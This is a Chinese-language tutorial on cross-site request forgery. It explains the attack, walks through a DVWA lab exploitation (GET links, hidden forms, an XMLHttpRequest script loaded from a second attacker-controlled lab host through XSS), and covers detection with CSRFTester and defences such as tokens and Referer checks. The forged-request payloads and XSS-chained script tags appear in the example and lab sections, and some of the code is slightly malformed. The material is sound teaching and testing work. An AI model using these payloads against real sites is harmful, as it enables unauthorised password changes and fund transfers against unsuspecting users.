CSRF(Cross Site Request Forgery)跨站域請求僞造,是一種網絡的攻擊方式,它在2007年曾被列爲互聯網20大安全隱患之一,也被稱爲“One Click Attack”或者Session Riding,通常縮寫爲CSRF或者XSRF,是一種對網站的惡意利用,也就是人們所知道的釣魚網站。
CSRF介紹
CSRF攻擊可以在受害者毫不知情的情況下以受害者名義僞造請求發送給受攻擊站點,從而在並未授權的情況下執行在權限保護之下的操作,有很大的危害性。
儘管聽起來跟XSS跨站腳本攻擊有點相似,但事實上CSRF與XSS差別很大,XSS利用的是站點內的信任用戶,而CSRF則是通過僞裝來自受信任用戶的請求來利用受信任的網站。
與XSS攻擊相比,CSRF攻擊往往不大流行,因此對其進行防範的資源也相當稀少和難以防範,所以CSRF被認爲比XSS更具危險性。
上圖爲CSRF攻擊的一個簡單模型,用戶訪問惡意網站B,惡意網站B返回給用戶的HTTP信息中要求用戶訪問網站A,而由於用戶和網站A之間可能已經有信任關係導致這個請求就像用戶真實發送的一樣會被執行。
CSRF的攻擊原理
1、用戶C打開瀏覽器,訪問受信任網站A,輸入用戶名和密碼請求登錄網站A;
2、在用戶信息通過驗證後,網站A產生Cookie信息並返回給瀏覽器,此時用戶登錄網站A成功,可以正常發送請求到網站A;
3、用戶在未退出網站A的情況下(cookie有效的情況),在同一瀏覽器中,打開了另一個網站B;
4、網站B接收到用戶請求後,返回一些攻擊性代碼,併發出一個請求要求訪問站點A,這個請求會帶上瀏覽器端所保存的有效的站點A的cookie;
5.、瀏覽器在接收到這些攻擊性代碼後,根據網站B的請求,在用戶不知情的情況下攜帶Cookie信息,向網站A發出請求。網站A並不知道該請求其實是由B發起的,所以會根據用戶C的Cookie信息以C的權限處理該請求,導致來自網站B的惡意代碼被執行。
因此,站點A會報據用戶C的權限來處理惡意站點B所發起的請求,而這個請求可能以用戶C的身份發送郵件、短信、消息,以及進行轉賬支付等操作,這樣惡意站點B就達到了僞造用戶C請求站點 A的目的。
受害者只需要做下面兩件事情,攻擊者就能夠完成CSRF攻擊:
- 登錄受信任站點 A,並在本地生成cookie;
- 在不登出站點A(站點A的cookie有效)的情況下,訪問惡意站點B。
看到這裏,你也許會說:“如果我不滿足以上兩個條件中的一個,我就不會受到CSRF的攻擊。”是的,確實如此,但你不能保證以下情況不會發生:
1、你不能保證你登錄了一個網站後,不再打開一個tab頁面並訪問另外的網站。
2、你不能保證你關閉瀏覽器了後,你本地的Cookie立刻過期,你上次的會話已經結束。事實上,關閉瀏覽器不能結束一個會話,但大多數人都會錯誤的認爲關閉瀏覽器就等於退出登錄/結束會話了。
3、上圖中所謂的攻擊網站,很多情況下可能是一個存在其他漏洞(如XSS)的可信任且經常被人訪問的網站。
CSRF的攻擊舉例
假設某銀行網站A以GET請求來發起轉賬操作,轉賬的地址爲www.xxx.com/transfer.do?accountNum=l000l&money=10000
,參數accountNum表示轉賬的賬戶,參數money表示轉賬金額。
而某大型論壇B上,一個惡意用戶上傳了一張圖片,而圖片的地址欄中填的並不是圖片的地址,而是前而所說的磚賬地址:<img src="http://www.xxx.com/transfer.do?accountNum=l000l&money=10000">
當你登錄網站A後,沒有及時登出,這時你訪問了論壇B,不幸的事情發生了,你會發現你的賬號裏面少了10000塊。
爲什麼會這樣呢,在你登錄銀行A時,你的瀏覽器端會生成銀行A的cookie,而當你訪問論壇B的時候,頁面上的<img>
標籤需要瀏覽器發起一個新的HTTP請求,以獲得圖片資源,當瀏覽器發起請求時,請求的卻是銀行A的轉賬地址www.xxx.com/transfer.do?accountNum=l000l&money=10000
,並且會帶上銀行A的cookie信息,結果銀行的服務器收到這個請求後,會以爲是你發起的一次轉賬操作,因此你的賬號裏邊便少了10000塊。
當然,絕大多數網站都不會使用GET請求來進行數據更新,因此,攻擊者也需要改變思路,與時俱進。
假設銀行將其轉賬方式改成POST提交,而論壇B恰好又存在一個XSS漏洞,惡意用戶在它的頁面上植入如下代碼:
<form id="aaa" action="http://www.xxx.com/transfer.do" metdod="POST" display="none">
<input type="text" name="accountNum" value="10001"/>
<input type="text" name="money" value="10000"/>
</form>
<script>
var form = document.forms('aaa');
form.submit();
</script>
如果你此時恰好登錄了銀行A,且沒有登出,當你打開上述頁面後,腳本會將表單aaa提交,把accountNum和money參數傳遞給銀行的轉賬地址http://www.xxx.com/transfer.do
,同樣的,銀行以爲是你發起的一次轉賬會從你的賬戶中扣除10000塊。
當然,以上只是舉例,正常來說銀行的交易付款會有USB key、驗證碼、登錄密碼和支付密碼等一系列屏障,流程比上述流程複雜得多,因此安全係數也高得多。
DVWA下的CSRF攻擊實驗
CSRF漏洞?Get方式利用
漏洞確認:
1、修改密碼,沒有對原密碼進行驗證,直接修改了, 判斷缺少驗證機制,可能存在CSRF
2、確認referer無限制,無token
http://192.168.123.129/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
漏洞利用:
1、直接發送鏈接
2、誘騙用戶點擊
3、會彈出提示
缺點:該利用方法,容易被用戶發現。
改進思路:
結合XSS,形成XSRF。用戶觸發XSS漏洞(存儲型最佳),然後XSS漏洞執行script<script src="修改密碼的鏈接"></script>
。前提是需要在用戶訪問概率高的網站上挖到XSS漏洞,或者欺騙用戶訪問釣魚站點。
改進流程:
1、保持dvwa中csrf頁面的登錄(尾數129)
2、部署一個csrf站點(尾數130),利用XSS(Stored);
3、在130增加一個XSS埋伏
<script src="http://192.168.123.129/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#"></script>
4、重新用步驟3的密碼123登錄,觀察效果。
CSRF漏洞?Post方式利用
使用CSRFTester思路
環境準備:
修改DVWA下CSRF漏洞的源碼爲POST方式提交
找到/csrf的index.php
,將get
提交方式修改爲post
找到/csrf的low.php
,將$_GET
修改爲$_REQUEST
(說明:這個表示可以用get也可以用POST)
測試是否成功修改POST提交方式
POST方式提交,提交後URL不會出現具體的參數及參數值
抓取POST提交方式的數據包
通過OWASP CSRFTester抓包
OWASP CSRFTester構建表單
Forms,創建一個form表單。內容爲hidden,用戶不可見(可get、post)
iFrame:創建一個iframe框架,高寬爲0,用戶不可見(可get、post )
IMG:創建一個IMG標籤(只能get)
XHR:創建一個AJAX請求(可get、post )
Link:創建一個a標籤的超鏈接(只能get)
修改上一步生產的index.html
將文檔放置在csrf站點,http://192.168.123.130/csrf/index.html
測試
步驟1:保持dvwa在csrf的模塊
2、在同一個瀏覽器輸入url,http://192.168.123.130/csrf/index.html,然後退出dvwa頁面登錄,測試密碼是否爲444,但是沒有辦法靜默執行,因爲會有提示
使用Ajax思路
通過Ajax,xmlrequest往表單裏面提交數據
環境準備:
1、在dvwa上,同時存在csrf和xss
2、在csrf站點上,製造ajax.html
<script>
xmlhttp=new XMLHttpRequest();
xmlhttp.open(“POST”,http://192.168.123.129/dvwa/vulnerabilities/csrf/”,true);
xmlhttp.setRequestHeader(“Content-type”,”application/x-www-form-urlencoded”);
xmlhttp.send(“password_new=123456&password_conf=123456”&Change=Change”);
</script>
http://192.168.123.130/csrf/ajax.html
3、在dvwa下,利用反射型XSS更改密碼
<script src="http://192.168.123.130/csrf/ajax.html"></script>
此時密碼已經修改
4、用admin和password登錄成功
如果在目標站點本身上存在XSS,則可以這樣利用,使用<script>,<img>
標籤。但目標站點如果存在XSS,則直接利用XSS比利用CSRF更便捷。
小結
GET方式
,在用戶活動狀態下點擊即可完成操作
POST方式
,參數不能通過URL提交,需要構建表單
,欺騙用戶訪問。該情況仍然結合XSS的比較多,或者直接誘騙用戶訪問攻擊者自己搭建的釣魚站點。
CSRF漏洞檢測?
如何確認一個web系統存在CSRF漏洞呢,最簡單的方法就是抓取一個正常請求的數據包,去掉Referer字段後再重新提交,如果該提交還有效,那麼基本上可以確定存在CSRF漏洞。
?步驟1
對目標站點進行踩點,對增刪改的地方進行標記,並觀察其邏輯
- 比如修改管理員賬戶時,不需要提供驗證舊密碼
- 比如提交留言的動作,關注XX微博的動作等等
?步驟2
提交操作(get/post),觀察http頭部 的referer,並驗證後臺是否有referer限制
- 比如使用抓包工具抓包,然後修改/刪除referer後,重放, 看是否可以正常提交。
?步驟3
確認cookie的有效性(欺騙,或目標網 站存在漏洞)
- 雖然退出或關閉了瀏覽器,但session並沒有過期。
隨着對CSRF漏洞研究的不斷深入,不斷湧現出一些專門針對CSRF漏洞進行檢測的工具,如CSRFTester,CSRF Request Builder。
以CSRFTester工具爲例,CSRF漏洞檢測工具的測試原理如下:
使用CSRFTester進行測試時,首先需要抓取我們在瀏覽器中訪問過的所有鏈接以及所有的表單等信息,然後通過在CSRFTester中修改相應的表單等信息,重新提交,這相當於一次僞造客戶端請求。如果修改後的測試請求成功被網站服務器接受,則說明存在CSRF漏洞,當然此款工具也可以被用來進行CSRF攻擊。
CSRF攻擊的防禦?
目前防禦CSRF攻擊主要有三種策略:驗證HTTP Referer字段
;在請求地址中添加token並驗證
;在HTTP頭中自定義屬性並驗證
。
驗證HTTP Referer字段
根據HTTP協議,在HTTP頭中有一個字段叫Referer,它記錄了該HTTP請求的來源地址。在通常情況下,訪問一個安全受限頁面的請求來自於同一個網站,比如需要訪問 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用戶必須先登陸bank.example,然後通過點擊頁面上的按鈕來觸發轉賬事件。這時,該轉帳請求的 Referer 值就會是轉賬按鈕所在的頁面的URL,通常是以bank.example域名開頭的地址。而如果黑客要對銀行網站實施CSRF攻擊,他只能在他自己的網站構造請求,當用戶通過黑客的網站發送請求到銀行時,該請求的Referer是指向黑客自己的網站。因此,要防禦CSRF攻擊,銀行網站只需要對於每一個轉賬請求驗證其Referer值,如果是以bank.example開頭的域名,則說明該請求是來自銀行網站自己的請求,是合法的。如果Referer是其他網站的話,則有可能是黑客的CSRF攻擊,拒絕該請求。
這種方法的顯而易見的好處就是簡單易行,網站的普通開發人員不需要操心CSRF的漏洞,只需要在最後給所有安全敏感的請求統一增加一個攔截器來檢查Referer的值就可以。特別是對於當前現有的系統,不需要改變當前系統的任何已有代碼和邏輯,沒有風險,非常便捷。
然而,這種方法並非萬無一失。Referer的值可以抓包僞造修改,使得黑客完全可以把用戶瀏覽器的Referer值設爲以 bank.example 域名開頭的地址,這樣就可以通過驗證,從而進行CSRF攻擊。
即便黑客無法篡改 Referer 值,這種方法仍然有問題。因爲 Referer 值會記錄下用戶的訪問來源,有些用戶認爲這樣會侵犯到他們自己的隱私權,特別是有些組織擔心Referer值會把組織內網中的某些信息泄露到外網中。因此,用戶自己可以設置瀏覽器使其在發送請求時不再提供Referer。當他們正常訪問銀行網站時,網站會因爲請求沒有Referer值而認爲是CSRF攻擊,拒絕合法用戶的訪問。
在請求地址中添加 token 並驗證
現在業界對CSRF的防禦,一致的做法是使用一個Token(Anti CSRF Token)。
CSRF攻擊之所以能夠成功,是因爲黑客可以完全僞造用戶的請求,該請求中所有的用戶驗證信息都是存在於cookie中,因此黑客可以在不知道這些驗證信息的情況下直接利用用戶自己的cookie 來通過安全驗證。
要抵禦CSRF,關鍵在於在請求中放入黑客所不能僞造的信息
,並且該信息不存在於cookie之中
。
可以在HTTP請求中以參數的形式加入一個隨機產生的token,並在服務器端建立一個攔截器來驗證這個token,如果請求中沒有token或者token內容不正確,則認爲可能是CSRF攻擊而拒絕該請求。
比如:
1、用戶訪問某個表單頁面。
2、 服務端生成一個Token,放在用戶的Session中,或者瀏覽器的Cookie中。
3、在頁面表單附帶上Token參數。
4、用戶提交請求後, 服務端驗證表單中的Token是否與用戶Session(或Cookies)中的Token一致,一致爲合法請求,不是則非法請求。
這種方法要比檢查Referer要安全一些,token可以在用戶登陸後產生並放於session之中,然後在每次請求時把token從session中拿出,與請求中的token進行比對。token的值必須是隨機的,不可預測的。有了token的存在,攻擊者無法再構造一個帶有合法token的請求實施CSRF攻擊。另外使用token時應注意token的保密性,儘量把敏感操作由GET改爲POST,以form或AJAX形式提交,避免token泄露。但這種方法的難點在於如何把token以參數的形式加入請求
。
對於GET請求,token將附在請求地址之後,這樣URL就變成 http://url?csrftoken=tokenvalue。 而對於POST請求來說,要在form的最後加上 ,這樣就把token以參數的形式加入請求了。
但是,在一個網站中,可以接受請求的地方非常多,要對於每一個請求都加上token是很麻煩的,並且很容易漏掉,通常使用的方法就是在每次頁面加載時,使用javascript遍歷整個dom樹,對於dom中所有的a和form標籤後加入token。這樣可以解決大部分的請求,但是對於在頁面加載之後動態生成的html代碼,這種方法就沒有作用,還需要程序員在編碼時手動添加token。
該方法還有一個缺點是難以保證token本身的安全。特別是在一些論壇之類支持用戶自己發表內容的網站,黑客可以在上面發佈自己個人網站的地址。由於系統也會在這個地址後面加上token,黑客可以在自己的網站上得到這個token,並馬上就可以發動 CSRF 攻擊。爲了避免這一點,系統可以在添加token的時候增加一個判斷,如果這個鏈接是指向自己網站的,就在後面添加token,如果是通向其他的則不加。不過,即使這個csrftoken不以參數的形式附加在請求之中,黑客的網站也同樣可以通過Referer來得到這個token值以發動CSRF攻擊。這也是一些用戶喜歡手動關閉瀏覽器Referer功能的原因。
在 HTTP 頭中自定義屬性並驗證
這種方法也是使用token並進行驗證,和上一種方法不同的是,這裏並不是把token以參數的形式置於HTTP請求之中,而是把它放到HTTP頭中自定義的屬性裏。通過XMLHttpRequest這個類,可以一次性給所有該類請求加上csrftoken這個HTTP頭屬性,並把token值放入其中。這樣解決了上種方法在請求中加入token的不便,同時,通過XMLHttpRequest請求的地址不會被記錄到瀏覽器的地址欄,也不用擔心token會透過Referer泄露到其他網站中去。
然而這種方法的侷限性非常大。XMLHttpRequest 請求通常用於Ajax方法中對於頁面局部的異步刷新,並非所有的請求都適合用這個類來發起,而且通過該類請求得到的頁面不能被瀏覽器所記錄下,從而進行前進,後退,刷新,收藏等操作,給用戶帶來不便。另外,對於沒有進行CSRF防護的遺留系統來說,要採用這種方法來進行防護,要把所有請求都改爲XMLHttpRequest請求,這樣幾乎是要重寫整個網站,這代價無疑是不能接受的。
除了以上的三種主要防禦CSRF攻擊的策略之外,還有以下幾種防禦措施?
儘量使用POST,限制GET
GET接口太容易被拿來做CSRF攻擊,看第一個示例就知道,只要構造一個img標籤,而img標籤又是不能過濾的數據。
接口最好限制爲POST使用,GET則無效,降低攻擊風險。
當然POST並不是萬無一失,攻擊者只要構造一個form就可以,但需要在第三方頁面做,這樣就增加暴露的可能性。
瀏覽器Cookie策略
IE6、7、8、Safari會默認攔截第三方本地Cookie(Third-party Cookie)的發送。
但是Firefox2、3、Opera、Chrome、Android等不會攔截,所以通過瀏覽器Cookie策略來防禦CSRF攻擊不靠譜,只能說是降低了風險。
Cookie分爲兩種:
- Session Cookie(在瀏覽器關閉後,就會失效,保存到內存裏)
- Third-party Cookie(即只有到了Exprie時間後纔會失效的Cookie,這種Cookie會保存到本地)
另外如果網站返回HTTP頭包含P3P Header,那麼將允許瀏覽器發送第三方Cookie。
加驗證碼
驗證碼,強制用戶必須與應用進行交互,才能完成最終請求。在通常情況下,驗證碼能很好遏制CSRF攻擊。
但是出於用戶體驗考慮,網站不能給所有的操作都加上驗證碼。因此驗證碼只能作爲一種輔助手段,不能作爲主要解決方案。
CSRF與XSS的區別✌
1、XSS是盜取用戶cookie,從而進一步攻擊,CSRF直接完成對受信任網站的攻擊;
XSS攻擊條件比CSRF要簡單,完成CSRF攻擊要諸多條件;
3、XSS是實現CSRF諸多條件的一種,這樣的結合稱爲XSRF;
4、XSS攻擊很多時候是獲取信息,不需要提前知道其他用戶頁面的代碼和數據包。CSRF是代替用戶完成指定的動作(直接完成攻擊目標),需要構造出目標網站的URL結構。
XSS是攻擊者偷了你車的鑰匙後,用你的鑰匙進入到你車,開你的車。
CSRF是讓你自己用鑰匙開門後,幫助攻擊者開了你的車,並且你沒有意識到這個操作。